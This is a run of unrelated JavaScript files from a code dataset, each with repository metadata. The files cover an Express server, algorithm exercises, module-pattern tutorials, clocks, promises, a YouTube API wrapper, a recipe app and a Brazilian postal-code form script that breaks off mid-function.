UTF-8
| 1,333 | 2.59375 | 3 |
[] |
no_license
|
//*--------setting up the server and it's dependecies ---------*/
const express = require('express');
const bcrypt = require('bcrypt-nodejs');
const cors = require('cors');
const knex = require('knex');
//controllers
const register = require('./controllers/register');
const signin = require('./controllers/signin');
const profile = require('./controllers/profile');
const image = require('./controllers/image');
const db = knex({
client: 'pg',
connection: {
host : '127.0.0.1', //is localhost
user : '',
password : '',
database : 'smart-brain' //connecting the database by putting its name
}
});
const app = express();
app.use(express.json()); //parsing the responsonse to use req.body
app.use(cors()) //middleware for cors
//*--------components of the server ---------*/
//the req res receive the req, res, database and bcrypt
//This is called dependecy injection
app.get('/', (req, res) => { res.send(database.users) })
app.post('/sigin', signin.handleSignIn(db, bcrypt)) //currying the functions
app.post('/register', register.handleRegister(db, bcrypt))
app.get('/profile/:id', profile.handleProfileGet(db) )
app.put('/image', image.handleImage(db) )
//*-------- Port listening and its actions ---------*/
app.listen(3000, () => {
console.log('App is running');
});
| true |
a8e3035e105bfd178a675e5453f0280dc46738d5
|
JavaScript
|
4d-kanno/furigana
|
/chap1-9-2.js
|
UTF-8
| 76 | 2.8125 | 3 |
[] |
no_license
|
let text = prompt('入力せよ');
console.log('入力したのは' + text);
| true |
eb9a2c4df3d9a75020d7b36c6655d8cf580bc052
|
JavaScript
|
MrBreakIT/MyAlgoFolder
|
/javascriptsAlgos/removeDups.js
|
UTF-8
| 1,799 | 3.5 | 4 |
[] |
no_license
|
// function removeDups(str) {
// var newStr = "";
// var couter = 0;
// for (var i = 0; i < str.length; i++) {
// for (var j=1 ; j < str.length; j++) {
// if (str[i] == str[j]) {
// console.log(str[i], str[j]);
// couter += 1;
// }
// else if ( couter == 0){
// newStr += str[i];
// }
// }
// }
// console.log(couter);
// }
// testSrt = "Snap! crackle! pop!";
// function stringDedupe(str) {
// let newStr = "";
// dict = {};
// for (let i = str.length - 1; i >= 0; i--) {
// if (dict[str[i]]) {
// dict[str[i]]++;
// continue;
// }
// (dict[str[i]] = 1)
// console.log(dict);
// newStr = str[i] + newStr;
// }
// return newStr;
// }
// x = stringDedupe(testSrt);
// console.log(x);
testSrt = "din";
var testStr = "Success";
function stringDedupe(str) {
let newStr = "";
dict = {};
for (let i = str.length - 1; i >= 0; i--) {
if (dict[str[i]]) {
dict[str[i]]++;
continue;
}
dict[str[i]] = 1;
}
for (let j = 0; j < str.length; j++) {
if (str[j] == "S"){
newStr += ")";
j++;
}
for (var key in dict) {
var value = dict[key];
if (str[j] == key) {
if (value == 1) {
newStr += "(";
console.log("((( =",str[j]);
}
if (value > 1) {
newStr += ")";
console.log("))) =",str[j]);
}
}
}
}
return newStr;
}
x = stringDedupe(testStr);
console.log("x =", x);
| true |
eae9f89810a3c388319285abf8d13d73995d410a
|
JavaScript
|
FEND16/javascript2
|
/code/04_design_patterns.js
|
UTF-8
| 3,768 | 4.25 | 4 |
[] |
no_license
|
/*======================================
= Module Pattern =
======================================*/
/**
* Our Module which is a IIFE saved to a variable. The function will not
* just be assigned, it will immedietly be run and return the object
* after the return statement which consists of a function that
* returns the private variable
* @return {Object} Object containing the getPrivateVariable function
*/
var Module = (function(){
var privateVariable = "Respect my privacy";
return {
getPrivateVariable: function(){
//The function knows about the variable
//in the scope above.
return privateVariable;
},
setPrivateVariable: function(value){
privateVariable = value;
}
}
})();
function log1(){
//The Module object can use the function and get the variable
console.log(Module.getPrivateVariable());
//But we can not get the variable directy === undefined
console.log(Module.privateVariable = "");
console.log(Module.setPrivateVariable("new value"));
}
// log1();
/*---------- Passing Parameters to a Module ----------*/
var ModuleWithParameters = (function(papa){
var privateVariable = "Respect my privacy";
return {
getPrivateVariable: function(){
//The function knows about the variable
//in the scope above.
return privateVariable;
},
returnPassedParams: function(){
return papa;
}
}
})("Woho!");
function log2(){
//The Module object can use the function and get the variable
console.log(ModuleWithParameters.getPrivateVariable());
//But we can not get the variable directy === undefined
console.log(ModuleWithParameters.returnPassedParams());
}
// log2();
/*================================================
= Revealing Module Pattern =
================================================*/
/**
* The Revealing Module pattern is a extended implementation of the
* regular module pattern. Here we make all functions private and
* choose to expose (reveal) certain functions that we want public.
* @return {Object} Module Object
*/
var RevealModule = (function(){
var privateVariable = "Respect my privacy";
//The function is now also private, and we can choose
//to reveal it if we want, but if we don't it will always
//be private.
var privateFunction = function(){
return privateVariable;
}
return{
//Here we choose which function or variables
//that will be public. The property name is
//the public name. And the value of that property
//is the privateFunction. So we can have a private function
//named whatever, then we can choose what it will be called
//when it is exposed.
publicFunction: privateFunction
}
})();
function log3(){
//This will work because we have returned the public function
console.log(RevealModule.publicFunction())
//This will not work because we have not returned the private function
console.log(RevealModule.privateVariable);
}
/*============================
= IIFE =
============================*/
var a = 10;
(function(global) {
console.log(global, a);
})(window);
(()=>console.log('Hello!'))();
(function(){
console.log('What');
}());
/*==================================================
= JavaScript: The Dark Parts =
==================================================*/
/*---------- I don't even ----------*/
!function(){
console.log('the fuck!!!!')
}();
+function(){
console.log('What=???');
}();
0, function(){
console.log('ok');
}();
| true |
ec462cb9b7e92372cbd41bc47416f80b7c85727e
|
JavaScript
|
vinelandit/etnr
|
/js/sensors.js
|
UTF-8
| 8,134 | 2.84375 | 3 |
[] |
no_license
|
class Sensors {
constructor(gpsCallback=null,gpsErrorCallback=null,orientationCallback=null,orientationErrorCallback=null,motionCallback=null,motionErrorCallback=null) {
this.gpsCallback = gpsCallback;
this.orientationCallback = orientationCallback;
this.motionCallback = motionCallback;
this.gpsErrorCallback = gpsErrorCallback;
this.orientationErrorCallback = orientationErrorCallback;
this.motionErrorCallback = motionErrorCallback;
this.method = null;
this.gpsTimeout = null;
this.orientationTimeout = null;
this.motionTimeout = null;
this.gpsMsg = null;
this.orientationMsg = null;
this.motionMsg = null;
// Fire `type` callbacks with `args`.
this.fire = function (type, args) {
var callbacks = self._callbacks[type];
for (var i = 0; i < callbacks.length; i++) {
callbacks[i].apply(window, args);
}
};
this.latestPoints = [];
this.latestBearingGPS = null;
this.latestAlpha = null;
this.delta = 0;
// Calculate average value for last num `array` items;
var _this = this;
}
orientationHandler(e) {
var latestAlpha = 0;
var latestAlphaAbs = 0;
if(this.orientationTimeout!==null) {
window.clearTimeout(this.orientationTimeout);
}
if(typeof this.orientationMsg !== 'undefined' && this.orientationMsg !== null) {
this.orientationMsg.hide();
}
if(typeof e.webkitCompassHeading !== 'undefined') {
latestAlpha = latestAlphaAbs = e.webkitCompassHeading;
} else {
latestAlpha = -e.alpha;
latestAlphaAbs = latestAlpha - this.delta;
}
document.getElementById('corrected').innerHTML = 'COR: '+latestAlphaAbs;
if($('#vegMap').hasClass('visible')) {
document.getElementById('map').style.transform = 'rotate('+parseFloat(-latestAlphaAbs)+'deg)';
}
this.orientationCallback({'bearing':latestAlpha,'bearingAbs':latestAlphaAbs});
}
onLocationFound(e) {
var _this = this;
console.log(e);
if(_this.gpsTimeout!==null) {
window.clearTimeout(_this.gpsTimeout);
_this.gpsTimeout = null;
console.log('clearing GPS timeout');
}
if(_this.gpsMsg!==null) {
_this.gpsMsg.hide();
}
console.log('sending GPS object from sensor callback ');
_this.gpsCallback(e.coords);
var radius = e.coords.accuracy / 2;
document.getElementById('acc').innerHTML = Math.round(e.coords.accuracy);
/* if(e.coords.accuracy<=65) {
_this.latestPoints.push(e.coords);
if(_this.latestPoints.length>2) {
_this.latestPoints.shift();
}
if(_this.latestPoints.length>1) {
var d = distance(_this.latestPoints[0].latitude,_this.latestPoints[0].longitude,_this.latestPoints[1].latitude,_this.latestPoints[1].longitude);
document.getElementById('dist').innerHTML = d.toFixed(2);
if(d>0.5+e.coords.accuracy/32.5) {
_this.latestBearingGPS = bearing(_this.latestPoints[0],_this.latestPoints[1]);
document.getElementById('bearingGPS').innerHTML = 'GPS: '+_this.latestBearingGPS;
_this.delta = _this.latestAlpha - _this.latestBearingGPS; // 80
console.log('delta',_this.delta);
}
}
} */
if(e.coords.heading!==null) {
_this.latestBearingGPS = e.coords.heading;
_this.delta = _this.latestAlpha - _this.latestBearingGPS;
}
document.getElementById('loc').innerHTML = e.coords.latitude+', '+e.coords.longitude;
_this.map.setView({'lat':e.coords.latitude,'lng':e.coords.longitude}, _this.map.getZoom(), {
"animate":true,
"pan":{
"duration":2
}
});
}
onLocationError(e) {
new Message(e,'error');
}
init() {
document.getElementById('mapOuter').className='active';
console.log(this.Compass);
var _this = this;
// set up timeouts
console.log('setting timeouts');
this.gpsTimeout = window.setTimeout(function(){
console.log('showing gps timeout error');
_this.gpsMsg = new Message("We have not received any location data from your device. Please confirm that your browser and OS settings allow websites to access location data, then close your and reopen AWEN, granting all permissions.",0,'error');
},10000);
this.orientationTimeout = window.setTimeout(function(){
_this.orientationMsg = new Message("We have not received any orientation data from your device. Please confirm that your browser and OS settings allow websites to access orientation data, then close your and reopen AWEN, granting all permissions.",0,'error');
},5000);
if (DeviceOrientationEvent && typeof DeviceOrientationEvent.requestPermission === "function") {
console.log('requesting device orientation permission');
DeviceOrientationEvent.requestPermission().then( response => {
console.log('in then block with response '+response);
if ( response == "granted" ) {
console.log('granted');
console.log('device orientation permission granted');
window.addEventListener('deviceorientation', _this.orientationHandler.bind(_this), false);
} else {
console.log('not granted');
_ = new Message('Orientation sensor permissions are required. Please quit the browser, re-open this page and grant permissions to use this app.',0,'error');
// stop the app here
}
});
} else {
console.log('permissions absent');
if (window.DeviceOrientationEvent) {
window.addEventListener('deviceorientation', _this.orientationHandler.bind(_this), false);
} else {
console.log('noorientation');
_ = new Message('Orientation sensor permissions are required. Please quit the browser, re-open this page and grant permissions to use this app.',0,'error');
}
}
var count = 0;
// Sentinel Hub WMS service
// tiles generated using EPSG:3857 projection - Leaflet takes care of that
let baseUrl = "https://services.sentinel-hub.com/ogc/wms/472db677-de10-45f0-9e88-34ef6b4d2bef";
let sentinelHub = L.tileLayer.wms(baseUrl, {
tileSize: 512,
attribution: '© <a href="http://www.sentinel-hub.com/" target="_blank">Sentinel Hub</a>',
urlProcessingApi:"https://services.sentinel-hub.com/ogc/wms/f9f27612-5c05-4d61-892e-78d50790da0e",
maxcc:47,
minZoom:16,
maxZoom:16,
preset:"SCI",
layers:"SCI",
time:"2020-10-01/2021-04-17",
});
this.map = L.map('map', {
center: [55.94671794791918, -3.2136887311935425], // lat/lng in EPSG:4326
zoom: 16,
minZoom:16,
maxZoom:16,
layers: [sentinelHub]
});
this.map.fitWorld();
// this.map.on('locationfound', _this.onLocationFound.bind(_this));
// this.map.on('locationerror', _this.onLocationError.bind(_this));
/* this.map.locate({
setView: true,
watch : true,
maxZoom: 16
}); */
// first check if permission previously denied
if (navigator.permissions) {
navigator.permissions.query({
name: 'geolocation'
}).then(function(result) {
if (result.state == 'granted') {
console.log('geolocation permission granted');
navigator.geolocation.watchPosition(_this.onLocationFound.bind(_this),_this.onLocationError.bind(_this),{'enableHighAccuracy':true,'timeout':5000,'maximumAge':5000});
} else if (result.state == 'prompt') {
navigator.geolocation.watchPosition(_this.onLocationFound.bind(_this),_this.onLocationError.bind(_this),{'enableHighAccuracy':true,'timeout':5000,'maximumAge':5000});
console.log('geolocation permission prompt');
} else if (result.state == 'denied') {
console.log('geolocation permission denied, show error');
_this.showError('GPS permission denied. Please close your browser and reopen this page in it, granting all requested permissions.');
return;
}
})
} else {
// no permissions object
console.log('no permissions, requesting outside block');
navigator.geolocation.watchPosition(_this.onLocationFound.bind(_this),_this.onLocationError.bind(_this),{'enableHighAccuracy':true,'timeout':5000,'maximumAge':5000});
}
}
}
| true |
cd0ee328f4cdd0dbb6bd5168e833c2e86183f379
|
JavaScript
|
hermajan/time
|
/src/time/clocks/normal.js
|
UTF-8
| 1,924 | 4.03125 | 4 |
[] |
no_license
|
/**
* Shows clock.
* @param id ID of the element where the clock is shown.
* @return Clock in format [hour]:[minute]:[second].
*/
function clock(id) {
var date=new Date;
var hour=date.getHours();
var minute=date.getMinutes();
var second=date.getSeconds();
document.getElementById(id).innerHTML=(hour<10 ? "0" : "")+hour+(minute<10 ? ":0" : ":")+minute+(second<10 ? ":0" : ":")+second;
setTimeout(function() { clock(id); }, 1000);
}
/**
* Shows clock with milliseconds.
* @param id ID of the element where the clock is shown.
* @return Clock in format [hour]:[minute]:[second].[millisecond].
*/
function clockMS(id) {
var date=new Date;
var hour=date.getHours();
var minute=date.getMinutes();
var second=date.getSeconds();
var millisecond=date.getMilliseconds();
document.getElementById(id).innerHTML=(hour<10 ? "0" : "")+hour+(minute<10 ? ":0" : ":")+minute+(second<10 ? ":0" : ":")+second+"."+millisecond;
setTimeout(function() { clockMS(id); }, 1);
}
/**
* Shows 12-hour clock.
* @param id ID of the element where the clock is shown.
* @return Clock in format [hour]:[minute]:[second] [period].
*/
function clock12(id) {
var date=new Date;
var hour=date.getHours();
var minute=date.getMinutes();
var second=date.getSeconds();
var period="a.m.";
if(hour>=12) {
hour-=12;
period="p.m.";
}
if(hour===0) {
hour=12;
}
document.getElementById(id).innerHTML=(hour<10 ? "0" : "")+hour+(minute<10 ? ":0" : ":")+minute+(second<10 ? ":0" : ":")+second+" "+period;
setTimeout(function() { clock12(id); }, 1000);
}
/**
* Shows Unix time clock (number of seconds that have elapsed since 1. 1. 1970).
* @param id ID of the element where the clock is shown.
* @return Clock in format [second].
*/
function clockUnix(id) {
var date=new Date;
var time=date.getTime();
document.getElementById(id).innerHTML=Math.floor(time/1000);
setTimeout(function() { clockUnix(id); }, 1000);
}
| true |
0c9481365cb4102fdbdfb4ca60e1eaf63f4c0145
|
JavaScript
|
thanhbr/CodeWars
|
/7kyu_CatYearsDogYears(2).js
|
UTF-8
| 789 | 4.1875 | 4 |
[] |
no_license
|
// 7kyu - Cat Years, Dog Yearrs (2)
// This is related to my other Kata about cats and dogs.
// Kata Task
// I have a cat and a dog which I got as kitten / puppy.
// I forget when that was, but I do know their current ages as catYears and dogYears.
// Find how long I have owned each of my pets and return as a list [ownedCat, ownedDog]
// NOTES:
// Results are truncated whole numbers of "human" years
// Cat Years
// 15 cat years for first year
// +9 cat years for second year
// +4 cat years for each year after that
// Dog Years
// 15 dog years for first year
// +9 dog years for second year
// +5 dog years for each year after that
let ownedCatAndDog = (cat,dog) => [cat < 15 ? 0 : cat < 24 ? 1 : (cat - 16) / 4 | 0,
dog < 15 ? 0 : dog < 24 ? 1 : (dog - 14) / 5 | 0];
| true |
25d22b98636e6e8d4eb16a7a20d0f5c3bc4658d8
|
JavaScript
|
opendroid/js
|
/src/Language/promises.js
|
UTF-8
| 1,985 | 3.65625 | 4 |
[] |
no_license
|
"use strict";
let fs = require("fs");
/**
* next file has a callback function that will run when readFile is done reading.
* the callback is called when current function stops to run.
*/
fs.readFile("./sampleTextFile.txt", function (error, data) {
if (error) {
console.log(error);
return;
}
console.log(data.toString());
});
/**
* Old callback pyramid chain. If there are multiple callbacks then they were chained prior to ES6.
* Let us read fie three times. Bad code pattern.
*/
fs.readFile("./sampleTextFile.txt", function (error, data) {
console.log(data.toString());
fs.readFile("./sampleTextFile.txt", function (error, data) {
console.log(data.toString());
fs.readFile("./sampleTextFile.txt", function (error, data) {
console.log(data.toString());
});
});
});
let aSimplePromise = new Promise((resolveFn, rejectFn) => {
let errorHappened = false;
if (errorHappened) {
rejectFn("Promise has failed");
} else {
resolveFn("Promise is fullfilled successfully");
}
});
aSimplePromise.then((result) => {
console.log(result.toString());
}).catch((error) => {
console.log(error.toString());
});
/**
* Do file read chaining using Promises
*/
function promiseFs(fileName) {
return new Promise(
(resolveFn, rejectFn) => {
fs.readFile(fileName, (error, data) => {
if (error) {
rejectFn(error);
} else {
resolveFn(data);
}
});
}
);
}
console.log("Using promises:");
// Now this reads only one file.
promiseFs("./sampleTextFile.txt")
.then(data => console.log(data.toString()))
.catch(error => console.log(error.toString()));
// Chaining Promises
promiseFs("sampleTextFile.txt")
.then(() => promiseFs("sampleTextFile.txt")) // Return promiseFS. Did not use data from last read
.then(data => console.log(data.toString())) // This is called on inner Promise on line 73
.catch(error => console.log(error.toString())); // Called for all errors
| true |
798741338deec243a75c94c4e3e78899d3c29d77
|
JavaScript
|
shellbj/haystack-ui
|
/src/components/traces/utils/traceQueryParser.js
|
UTF-8
| 1,882 | 2.53125 | 3 |
[
"Apache-2.0"
] |
permissive
|
/*
* Copyright 2017 Expedia, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
export const isValid = () => true;
export const parseQueryString = (queryString) => {
const keyValuePairs = queryString.split(' ');
const parsedQueryString = {};
keyValuePairs.forEach((pair) => {
const keyValue = pair.trim().split('=');
parsedQueryString[keyValue[0]] = keyValue[1];
});
return parsedQueryString;
};
export const toQueryUrl = query => Object
.keys(query)
.map(key => `${encodeURIComponent(key)}=${encodeURIComponent(query[key])}`)
.join('&');
export const toQueryString = query => Object
.keys(query)
.filter(key => query[key] && key !== 'timePreset' && key !== 'startTime' && key !== 'endTime')
.map(key => `${encodeURIComponent(key)}=${query[key]}`)
.join(' ');
export const toQuery = (query) => {
const queryDict = {};
if (!query || query.length <= 1) return {};
query.substr(1)
.split('&')
.forEach((item) => {
const key = item.split('=')[0].trim();
const value = item.split('=')[1].trim();
if (key && value) {
queryDict[decodeURIComponent(item.split('=')[0])] = decodeURIComponent(item.split('=')[1]);
}
});
return queryDict;
};
| true |
807272dd58b6cfb8958f9ae949792e278cdfcca2
|
JavaScript
|
sartorileonardo/js-es6
|
/test.js
|
UTF-8
| 964 | 3.015625 | 3 |
[] |
no_license
|
//Install mocha to your project: npm i chai mocha --save
/*
Updated package.json file:
"scripts": {
"test": "mocha ./test.js"
},
*/
//Run: npm run test
const chai = require('chai');
const expect = chai.expect;
const calculator = require('./calculator');
describe('Calculator Tests', () => {
describe('Addition', () => {
it('10 + 10 should be equals to 20', () => {
expect(calculator.sum(10, 10)).to.equal(20)
})
}),
describe('Subtration', () => {
it('10 - 10 should be equals to 0', () => {
expect(calculator.sub(10, 10)).to.equal(0)
})
}),
describe('Multiplication', () => {
it('10 * 10 should be equals to 100', () => {
expect(calculator.mult(10, 10)).to.equal(100)
})
}),
describe('Division', () => {
it('100 / 10 should be equals to 10', () => {
expect(calculator.div(100, 10)).to.equal(10)
})
})
});
| true |
37381be3e1e63a463327de68eacae314d810d99c
|
JavaScript
|
seriann/youtube_clone_RN
|
/api/youtubeApi.js
|
UTF-8
| 1,023 | 2.640625 | 3 |
[] |
no_license
|
import axios from 'axios'
//las api keys comentadas ya excedieron la cuota semanal (err status 403)
//si la app devuelve el err status 403, abria que crear otra api key en google para poder probarla
//const API_KEY= "AIzaSyDcC_2lHAxWdJ6LLjO_fKvHAi1nopVhsgI"
//const API_KEY= "AIzaSyA1y3gy9MOO08frDrD6QGxpUVdEXF6O57Y"
const API_KEY= "AIzaSyCFiUNFgrPc599sffg79wZ6LKSzyJDauok"
class Youtube {
constructor(search, videoId, maxNum = 15){
this.MAIN_VIDEOS = axios.create({
baseURL: `https://youtube.googleapis.com/youtube/v3/search?part=snippet&maxResults=${maxNum}&q=${search}&type=video&key=${API_KEY}`
})
this.REALTED_VIDEOS = axios.create({
baseURL: `https://www.googleapis.com/youtube/v3/search?part=snippet&relatedToVideoId=${videoId}&type=video&key=${API_KEY}`
})
}
getVideos () {
return this.MAIN_VIDEOS.get()
.then(res => res.data)
.catch(err => err)
}
getRelatedVideos(){
return this.REALTED_VIDEOS.get()
.then(res=> res.data)
.catch(err=> err)
}
}
export { Youtube }
| true |
cc25e760e75e84c5c94382ccca9155abed4e5915
|
JavaScript
|
Silvius-Development-Network/infinite_scroll
|
/src/js/main_fetch.js
|
UTF-8
| 1,180 | 3.015625 | 3 |
[] |
no_license
|
function getPokemon(offSet){
return fetch(`https://pokeapi.co/api/v2/pokemon?offset=${offSet}&limit=10`)
.then(res => res.json())
.then(function(data){
data.results.forEach(pokemon => {
var section = document.createElement("section");
var h1 = document.createElement("h1");
section.classList.add("pokemon");
section.style.marginBottom = "50px";
h1.classList.add("pokemon__title");
h1.textContent = pokemon.name;
section.appendChild(h1);
root.appendChild(section);
getPokemonImg(pokemon.url)
.then(function(imgUrl){
var img = document.createElement("img");
img.src = "./assets/img/diabeticus.png";
img.dataset.src = imgUrl;
observerImg.observe(img);
section.appendChild(img);
})
});
var lastChild = document.querySelector("#root section:last-child");
observer.observe(lastChild);
});
}
| true |
de13ba372bd851f24858865d5b02aa587d0183ef
|
JavaScript
|
town2016/react-echarts
|
/src/plugins/tools.js
|
UTF-8
| 1,481 | 2.96875 | 3 |
[] |
no_license
|
// 数据类型检测
export function dataType (data) {
return Object.prototype.toString.call(data).slice(8, -1)
}
// 检测是否为数组,且数组内是否为%的字符串
export function arrayPercent (data) {
if (dataType(data) !== 'Array') return false
let flag = true
for (var i = 0; i < data.length; i++ ) {
var arr = data.split('%')
if (arr.length > 2) {
flag = false;
} else if (dataType(Number(arr[0])) !== 'Number') {
flag = false
}
}
return flag
}
// 给元素添加resize事件
export function elResize (el, cb) {
var iframe = document.createElement('iframe')
iframe.style.cssText = 'position: absolute;width: 100%; height: 100%;visibility: hidden;z-index: -1;'
el.style.position = 'relative'
el.appendChild(iframe)
// 添加事件防抖
var timer = null
iframe.contentWindow.onresize = function () {
if (timer) {
window.clearTimeout(timer)
}
timer = setTimeout(function () {
cb && cb()
}, 100)
}
}
// 对象的深度替换
export function deepReplace (merge, target = {}) {
var type = dataType(merge)
if (type !== 'Array' && type !== 'Object') {
merge = target
return
}
for (var k in merge) {
if (target[k]) {
if (dataType(merge[k]) === 'Array' || dataType(merge[k]) === 'Object') {
deepReplace(merge[k], target[k])
} else {
merge[k] = target[k]
}
}
}
}
| true |
0762039f3767afc60584f0c6b26aa206c0d4dd91
|
JavaScript
|
ochirovaur2/food2work.com-
|
/src/js/index.js
|
UTF-8
| 5,325 | 2.796875 | 3 |
[] |
no_license
|
// Global app controller
import Search from "./modules/Search";
import { elements, renderLoader, clearLoader } from './views/base';
import * as searchView from "./views/searchView";
import * as recipeView from "./views/recipeView";
import * as listView from "./views/listView";
import * as likesView from "./views/likesView"
import Recipe from './modules/Recipe';
import List from './modules/List';
import Like from './modules/Likes'
/* Global state of the app
* - Search object
* - Current recipe object
* - Shopping list object
* - Liked recipes
*/
//Search
const state = {};
const controlSearch = async ()=>{
// 1. Get query from UI
const query = searchView.getInput();
if(query){
// 2. New Search object and add to the state
state.search = new Search(query);
// 3. Prepare UI for results
searchView.clearInput();
searchView.clearResults();
renderLoader(elements.searchRes)
// 4. Do search
await state.search.getResults();
// 5. Render results on UI
clearLoader();
searchView.renderResults(state.search.result);
}
}
elements.searchForm.addEventListener('submit', e => {
e.preventDefault();
controlSearch();
});
elements.searchResPages.addEventListener('click', e => {
const btn = e.target.closest('.btn-inline');
if(btn){
const goToPage = parseInt(btn.dataset.goto, 10);
searchView.clearResults();
searchView.renderResults(state.search.result, goToPage);
}
})
//Recipe ctrl
//const recipe = new Recipe(46956);
//recipe.getRecipe();
//console.log(recipe)
const controlRecipe = async() => {
//Get id from URL
const id = window.location.hash.replace('#', '');
if(id){
//Prepare UI for changes
recipeView.clearRecipe();
renderLoader(elements.recipe)
// Highlight selected item
if(state.search){
searchView.highLihtedSelected(id);
}
//Create new recipe object and parseIngredeints;
state.recipe = new Recipe(id);
//Get recipe
await state.recipe.getRecipe();
state.recipe.parseIngredeints();
// Calc servings and time
state.recipe.calcTime();
state.recipe.calcServing();
// Render recipe
clearLoader();
recipeView.renderRecipe(state.recipe,
state.likes.isLiked(id)
)
}
}
//'load'
['hashchange'].forEach(event => window.addEventListener(event, controlRecipe));
// Handling recipe btn clicks
elements.recipe.addEventListener('click', e => {
if(e.target.matches('.btn-decrease, .btn-decrease *')){
// decrease btn
if(state.recipe.serving > 1){
state.recipe.updateServings('dec');
recipeView.updateServingsIngredients(state.recipe);
}
} else if(e.target.matches('.btn-increase, .btn-increase *')){
// increase btn
state.recipe.updateServings('inc');
recipeView.updateServingsIngredients(state.recipe)
}
});
// add item to the shopping list
window.addEventListener('click', e => {
const btn = e.target.closest('.recipe__btn')
if(btn){
//Prepare UI for changes
listView.clearShopList();
//Add item to data
state.list = new List();
state.recipe.ingredients.forEach(el => {
state.list.addItem(el.count, el.unit, el.ingredient);
});
//Render shopList
listView.renderShopList(state.list);
}
});
//Delete item from shopping list
window.addEventListener('click', e => {
const itemDom = e.target.closest('.shopping__item');
if(e.target.closest('.shopping__delete')){
const btn = e.target.closest('.shopping__delete');
if(btn){
//delete from data
state.list.deleteItem(itemDom.dataset.itemid);
// delet from UI
btn.parentNode.remove();
}
} else if(e.target.matches('.shopping__count-value')) {
const id = e.target.closest('.shopping__item').dataset.itemid;
const val = parseFloat(e.target.value, 10);
console.log(val);
state.list.updateCount(itemDom.dataset.itemid, val);
console.log(state.list);
}
});
/// like ctrl
const controlLike = () =>{
if(!state.likes) state.likes = new Like();
const currenId = state.recipe.id;
//User has not yet liked current recipe
if(!state.likes.isLiked(currenId)){
// add like to the state
const newLike = state.likes.addLike(
currenId,
state.recipe.title,
state.recipe.author,
state.recipe.img
);
// toggle the like btn
likesView.toogleLikeBtn(true)
// add like to UI
likesView.renderLike(newLike)
//user has liked recipe
} else {
//Remove like from Ui
state.likes.deleteLike(currenId);
//Toggle the like button
likesView.toogleLikeBtn(false)
//Remove like from UI
likesView.deleteLike(currenId);
}
likesView.toggleLikeMenu(state.likes.getNumLikes());
};
window.addEventListener('click', e => {
const btn = e.target.closest('.recipe__love');
if(btn){
controlLike()
}
});
// restore liked recipes on page load
window.addEventListener('load', ()=> {
state.likes = new Like();
//restore likes
state.likes.readStorage();
// Toggle like btn
likesView.toggleLikeMenu(state.likes.getNumLikes());
//render Likes to UI
state.likes.likes.forEach(like => {
likesView.renderLike(like);
})
})
| true |
0329ccbf0e5f79d4e231a17f2b3c723b80896625
|
JavaScript
|
GuilhermeFelipeCampos/Cubos-Academy-Atividades
|
/Cubos Academy Modulo 1/Exercícios Back-End/back-integral-metodos-de-strings-e-arrays/extra-09/index.js
|
UTF-8
| 770 | 3.6875 | 4 |
[] |
no_license
|
const nomes = ['Juninho', 'Léo', 'Guido', 'Dina', 'Vitinho', 'Nanda', 'joao', 'carlos', 'marcelo'];
const tamanhoDoGrupo = 4;
function grupos(nome, numero) {
let cont = 1;
let i = 0;
if (nome.length <= numero) {
console.log(`Grupo: ${nome.slice(0, numero)}`);
} else if (nome.length > numero) {
console.log(`Grupo ${cont}: ${nome.slice(0, numero)}`);
while (nome.length !== 0) {
i = (nome.length - numero);
while (nome.length !== i && nome.length > 0) {
nome.shift();
}
cont++;
if (nome.length !== 0) {
console.log(`Grupo ${cont}: ${nome.slice(0, numero)}`);
}
}
}
}
grupos(nomes, 6);
| true |
84c9932eff010c20dd1d643bcc4670f6ff0f6035
|
JavaScript
|
DiegoCorrea/labwebjs
|
/JS/Atividade/js/formulario.js
|
UTF-8
| 6,799 | 3.046875 | 3 |
[] |
no_license
|
//Padronizar entradas
$(document).ready(function(){
$('#fixo').mask("(00) 0000-0000");
});
$(document).ready(function(){
$('#fixoResponsavel').mask("(00) 0000-0000");
});
$(document).ready(function(){
$('#celular').mask("(00) 0 0000-0000");
});
$(document).ready(function(){
$('#celularResponsavel').mask("(00) 0 0000-0000");
});
$(document).ready(function(){
$('#cpf').mask("000.000.000-00");
});
$(document).ready(function(){
$('#cpfResponsavel').mask("000.000.000-00");
});
$(document).ready(function(){
$('#cep').mask("00.000-000");
});
$(document).ready(function(){
$('#cepResponsavel').mask("00.000-000");
});
//Previsualização de imagem, antes de enviar ao servidor
//https://www.youtube.com/watch?v=BkcOqyq8W2M
function readURL(input) {
if (input.files && input.files[0]) {
var reader = new FileReader();
reader.onload = function (e) {
$('#image-preview').attr('src', e.target.result);
$('.btn-info').toggleClass('btn-info btn-warning');
$('span').text('Trocar imagem');
}
reader.readAsDataURL(input.files[0]);
}
}
$(document).ready(function(){
$("#image-upload").change(function(){
readURL(this);
});
});
//Pesquisar CEP no site dos correios e preencher os locais
//https://viacep.com.br/exemplo/jquery/
$(document).ready(function(){
function limpa_formulário_cep(){
// Limpa valores do formulário de cep.
$("#rua").val("");
$("#bairro").val("");
$("#cidade").val("");
$("#estado").val("");
}
//Quando o campo cep perde o foco.
$("#cep").blur(function() {
//Nova variável "cep" somente com dígitos.
var cep = $(this).val().replace(/\D/g, '');
//Verifica se campo cep possui valor informado.
if (cep != "") {
//Expressão regular para validar o CEP.
var validacep = /^[0-9]{8}$/;
//Valida o formato do CEP.
if(validacep.test(cep)) {
//Preenche os campos com "..." enquanto consulta webservice.
$("#rua").val("Pesquisando a Rua...");
$("#bairro").val("Pesquisando o seu Bairro...");
$("#cidade").val("Pesquisado a sua Cidade...");
$("#estado").val("Pesquisando o seu Estado...");
//Consulta o webservice viacep.com.br/
$.getJSON("https://viacep.com.br/ws/"+ cep +"/json/?callback=?", function(dados) {
if (!("erro" in dados)) {
//Atualiza os campos com os valores da consulta.
$("#rua").val(dados.logradouro);
$("#bairro").val(dados.bairro);
$("#cidade").val(dados.localidade);
$("#estado").val(dados.uf);
} //end if.
else {
//CEP pesquisado não foi encontrado.
limpa_formulário_cep();
alert("CEP não encontrado.");
}
});
} //end if.
else {
//cep é inválido.
limpa_formulário_cep();
alert("Formato de CEP inválido.");
}
} //end if.
else {
//cep sem valor, limpa formulário.
limpa_formulário_cep();
}
});
});
$(document).ready(function(){
function limpa_formulário_cep(){
// Limpa valores do formulário de cep.
$("#ruaResponsavel").val("");
